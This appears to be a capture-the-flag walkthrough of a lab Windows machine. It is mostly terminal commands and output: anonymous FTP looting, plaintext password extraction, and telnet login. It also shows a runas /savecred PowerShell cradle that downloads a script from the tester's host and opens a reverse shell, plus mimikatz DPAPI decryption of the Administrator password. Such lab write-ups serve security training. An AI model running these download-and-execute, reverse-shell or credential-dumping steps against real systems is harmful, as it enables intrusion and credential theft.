```
└──╼ [★]$ ping 10.129.87.168

└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.87.168
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_  SYST: Windows_NT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

└──╼ [★]$ ftp
ftp> open
(to) 10.129.87.168
Connected to 10.129.87.168.
220 Microsoft FTP Service
Name (10.129.87.168:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM       <DIR>          Backups
08-24-18  09:00PM       <DIR>          Engineer
226 Transfer complete.
ftp> cd Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  12:16AM                10870 Access Control.zip
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get Access\ Control.zip
local: Access Control.zip remote: Access Control.zip
200 PORT command successful.
150 Opening BINARY mode data connection.
226 Transfer complete.
10870 bytes received in 0.06 secs (181.7988 kB/s)
ftp> cd ..
250 CWD command successful.
ftp> cd Backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM              5652480 backup.mdb
226 Transfer complete.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
5652480 bytes received in 1.98 secs (2.7260 MB/s)
ftp>


└──╼ [★]$ file backup.mdb
backup.mdb: Microsoft Access Database

The Microsoft Access database, can be examined using "mdb-tools" :

└──╼ [★]$ sudo apt install mdbtools
```

```
└──╼ [★]$ mdb-tables backup.mdb | grep --color=auto auth_user

└──╼ [★]$ mdb-export backup.mdb auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,


ZKAccess admin/engineer accounts:
admin:admin
engineer:access4u@security
backup_admin:admin

Extract the Zip file with the gained password access4u@security :

└──╼ [★]$ 7z x Access\ Control.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Xeon(R) CPU
E5-2650 v4 @ 2.20GHz (406F1),ASM,AES-NI)

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870


Enter password (will not be echoed):
Everything is Ok

Size:       271360
Compressed: 10870


└──╼ [★]$ sudo apt install pst-utils

└──╼ [★]$ readpst -tea -m Access\ Control.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
      "Access Control" - 2 items done, 0 items skipped.
└──╼ [★]$ cd Access\ Control
┌─[eu-dedivip-2]─[10.10.14.69]─[htb-protosec@htb-yexmie4yey]─[~/Access Control]
└──╼ [★]$ ls
2.eml  2.msg
┌─[eu-dedivip-2]─[10.10.14.69]─[htb-protosec@htb-yexmie4yey]─[~/Access Control]
└──╼ [★]$ cat 2.eml
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000

Hi there,

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this
is passed on to your engineers.

Regards,

John


└──╼ [★]$ sudo apt install telnet

└──╼ [★]$ telnet 10.129.87.168
Trying 10.129.87.168...
Connected to 10.129.87.168.
Escape character is '^]'.
Welcome to Microsoft Telnet Service
```

```
login: security
password:

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>cd Desktop
C:\Users\security\Desktop>type user.txt
ff1f3b48913b********************



Privesc To Administrator : find if there are stored credentials for the administrator

C:\Users\Public\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\Public\Desktop

08/22/2018  09:18 PM             1,870 ZKAccess3.5 Security System.lnk
               1 File(s)          1,870 bytes
               0 Dir(s)  16,772,063,232 bytes free


C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"

LF@ 7#P/PO :+00/C:\R1M:Windows:M:*wWindowsV1MVSystem32:MV*System32X2P:
                                                                runas.exe:1:1*Yrunas.exeL-
KEC:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/
user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\
AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\
img\AccessNET.ico%
wN]ND.Q`Xaccess_8{E3Oj)H)Ů[_8{E3Oj)H)Ů[  1SPSXFL8C&me*S-1-5-21-953262931-566350628-63446256-500


That suggests to me that creds are cached for the Administrator account.


C:\Users\security\>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
                                                    Type: Domain Password
    User: ACCESS\Administrator


Privesc #1 - Use runas :


└──╼ [★]$ nano Invoke-PowerShellTcp.ps1

└──╼ [★]$ python3 -m http.server 8080

└──╼ [★]$ nc -lvnp 1984
listening on [any] 1984 ...


C:\Users\security\AppData\Local\Temp>runas /user:ACCESS\Administrator /savecred "powershell iex
(New-Object Net.WebClient).DownloadString('http://10.10.14.96:8080/Invoke-
PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.96 -Port 1984"

└──╼ [★]$ nc -lvnp 1984
listening on [any] 1984 ...
connect to [10.10.14.96] from (UNKNOWN) [10.129.87.168] 49164
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
access\administrator
PS C:\Windows\system32> type \users\administrator\desktop\root.txt
6e1586cc7ab2********************
```

```
--------------------------------------------------------------------------------


Privesc #2 - dpapi creds

C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-
1001>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-
63446256-1001

08/22/2018  09:18 PM    <DIR>          .
08/22/2018  09:18 PM    <DIR>          ..
08/22/2018  09:18 PM               468 0792c32e-48a5-4fe3-8b43-d93d64590580
08/22/2018  09:18 PM                24 Preferred
               2 File(s)            492 bytes
               2 Dir(s)  16,772,063,232 bytes free

C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-
1001>certutil -encode 0792c32e-48a5-4fe3-8b43-d93d64590580 output
Input Length = 468
Output Length = 700
CertUtil: -encode command completed successfully.

C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>type
output
-----BEGIN CERTIFICATE-----
AgAAAAAAAAAAAAAAMAA3ADkAMgBjADMAMgBlAC0ANAA4AGEANQAtADQAZgBlADMA
LQA4AGIANAAzAC0AZAA5ADMAZAA2ADQANQA5ADAANQA4ADAAAAAAAAAAAAAAFAAAA
sAAAAAAAAACQAAAAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
uV5UnvhDAAAOgAAAEGYAAOePsdmJxMzXoFKFwX+uHDGtEhD3raBRrjIDU232E+Y6
DkZHyp7VFAdjfYwcwq0WsjBqq1bX0nB7DHdCLn3jnri9/MpVBEtKf4U7bwszMyE7
Ww2Ax8ECH2xKwvX6N3KtvlCvf98HsODqlA1woSRdt9+Ef2FVMKk4lQEqOtnHqMOc
wFktBtcUye6P40ztUGLEEgIAAABLtt2bW5ZW2Xt48RR5ZFf0+EMAAA6AAAAQZgAA
D+azql3Tr0a9eofLwBYfxBrhP4cUoivLW9qG8k2VrQM2mlM1FZGF0CdnQ9DBEys1
/a/60kfTxPX0MmBBPCi0Ae1w5C4BhPnoxGaKvDbrcye9LHN0ojgbTN1Op8Rl3qp1
Xg9TZyRzkA24hotCgyftqgMAAADlaJYABZMbQLoN36DhGzTQ
-----END CERTIFICATE-----

C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>

└──╼ [★]$ nano masterkey.b64

└──╼ [★]$ cat masterkey.b64 | base64 -d > masterkey



C:\Users\security\AppData\Roaming\Microsoft\Credentials>dir /a

C:\Users\security\AppData\Roaming\Microsoft\Credentials>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security\AppData\Roaming\Microsoft\Credentials

08/22/2018  09:18 PM    <DIR>          .
08/22/2018  09:18 PM    <DIR>          ..
08/22/2018  09:18 PM               538 51AB168BE4BDB3A603DADE4F8CA81290
               1 File(s)            538 bytes
               2 Dir(s)  16,772,059,136 bytes free

C:\Users\security\AppData\Roaming\Microsoft\Credentials>type output
-----BEGIN CERTIFICATE-----
AQAAAA4CAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALsOSB6VI40+LQ9k9
ZFkFgAAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQA
aQBhAGwAIABEAGEAdABhAA0ACgAAABBmAAAAAQAAIAAAAPW7usJAvZDZr308LPt/
MB8fEjrJTQejzAEgOBNfpaa8AAAAAA6AAAAAAgAAIAAAAPlkLTI/rjZqT3KT0C8m
5Ecq3DKwC6xqBhkURY2t/T5SAAEAAOc1Qv9x0IUp+dpf+I7c1b5E0RycAsRf39nu
WlMWKMsPno3CIetbTYOoV6/xNHMTHJJ1JyF/4XfgjWOmPrXOU0FXazMzKAbgYjY+
WHhvt1Uaqi4GdrjjlX9Dzx8Rou0UnEMRBOX5PyA2SRbfJaAWjt4jeIvZ1xGSzbZh
```

```
xcVobtJWyGkQV/5v4qKxdlugl57pFAwBAhDuqBrACDD3TDWhlqwfRr1p16hsqC2h
X5u88cQMu+QdWNSokkr96X4qmabp8zopfvJQhAHCKaRRuRHpRpuhfXEojcbDfuJs
ZezIrM1LWzwMLM/K5rCnY4Sg4nxO23oOzs4q/ZiJJSME21dnu8NAAAAAY/zBU7zW
C+/QdKUJjqDlUviAlWLFU5hbqocgqCjmHgW9XRy4IAcRVRoQDtO4U1mLOHW6kLaJ
vEgzQvv2cbicmQ==
-----END CERTIFICATE-----


└──╼ [★]$ nano credentials.b64

└──╼ [★]$ cat credentials.b64 | base64 -d > credentials



On WINDOWS !

 .#####.   mimikatz 2.1.1 (x64) #17763 Dec  9 2018 23:56:50
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # dpapi::masterkey /in:\users\0xdf\desktop\masterkey /sid:S-1-5-21-9532
62931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {0792c32e-48a5-4fe3-8b43-d93d64590580}
  dwFlags            : 00000005 - 5
  dwMasterKeyLen     : 000000b0 - 176
  dwBackupKeyLen     : 00000090 - 144
  dwCredHistLen      : 00000014 - 20
  dwDomainKeyLen     : 00000000 - 0
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 9c51ca4d00708c73d4fbff60b95e549e
    rounds           : 000043f8 - 17400
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : e78fb1d989c4ccd7a05285c17fae1c31ad1210f7ada051ae3203536df
613e63a0e4647ca9ed51407637d8c1cc2ad16b2306aab56d7d2707b0c77422e7de39eb8bdfcca550
44b4a7f853b6f0b3333213b5b0d80c7c1021f6c4ac2f5fa3772adbe50af7fdf07b0e0ea940d70a12
45db7df847f615530a93895012a3ad9c7a8c39cc0592d06d714c9ee8fe34ced5062c412

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 4bb6dd9b5b9656d97b78f114796457f4
    rounds           : 000043f8 - 17400
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 0fe6b3aa5dd3af46bd7a87cbc0161fc41ae13f8714a22bcb5bda86f24
d95ad03369a5335159185d0276743d0c1132b35fdaffad247d3c4f5f43260413c28b401ed70e42e0
184f9e8c4668abc36eb7327bd2c7374a2381b4cdd4ea7c465deaa755e0f53672473900db8868b428
327edaa

[credhist]
  **CREDHIST INFO**
    dwVersion        : 00000003 - 3
    guid             : {009668e5-9305-401b-ba0d-dfa0e11b34d0}



[masterkey] with password: 4Cc3ssC0ntr0ller (normal user)
  key : b360fa5dfea278892070f4d086d47ccf5ae30f7206af0927c33b13957d44f0149a128391
c4344a9b7b9c9e2e5351bfaf94a1a715627f27ec9fafb17f9b4af7d2
  sha1: bf6d0654ef999c3ad5b09692944da3c0d0b68afe



mimikatz # dpapi::cred /in:\users\0xdf\desktop\credentials
**BLOB**
  dwVersion          : 00000001 - 1
```

```
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {0792c32e-48a5-4fe3-8b43-d93d64590580}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 0000003a - 58
  szDescription      : Enterprise Credential Data

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : f5bbbac240bd90d9af7d3c2cfb7f301f1f123ac94d07a3cc012038135
fa5a6bc
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9642d323fae366a4f7293d02f26e4472adc32b00bac6a061914458da
dfd3e52
  dwDataLen          : 00000100 - 256
  pbData             : e73542ff71d08529f9da5ff88edcd5be44d11c9c02c45fdfd9ee5a531
628cb0f9e8dc221eb5b4d83a857aff13473131c927527217fe177e08d63a63eb5ce5341576b33332
806e062363e58786fb7551aaa2e0676b8e3957f43cf1f11a2ed149c431104e5f93f20364916df25a
0168ede23788bd9d71192cdb661c5c5686ed256c8691057fe6fe2a2b1765ba0979ee9140c010210e
ea81ac00830f74c35a196ac1f46bd69d7a86ca82da15f9bbcf1c40cbbe41d58d4a8924afde97e2a9
9a6e9f33a297ef2508401c229a451b911e9469ba17d71288dc6c37ee26c65ecc8accd4b5b3c0c2cc
fcae6b0a76384a0e27c4edb7a0ecece2afd9889252304db5767bbc3
  dwSignLen          : 00000040 - 64
  pbSign             : 63fcc153bcd60befd074a5098ea0e552f8809562c553985baa8720a82
8e61e05bd5d1cb8200711551a100ed3b853598b3875ba90b689bc483342fbf671b89c99

Decrypting Credential:
 * volatile cache: GUID:{0792c32e-48a5-4fe3-8b43-d93d64590580};KeyHash:bf6d0654e
f999c3ad5b09692944da3c0d0b68afe
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000f4 - 244
  credUnk0       : 00002004 - 8196

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 8/22/2018 9:18:49 PM
  unkFlagsOrSize : 00000038 - 56
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:interactive=ACCESS\Administrator
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : ACCESS\Administrator
  CredentialBlob : 55Acc3ssS3cur1ty@megacorp
  Attributes     : 0
```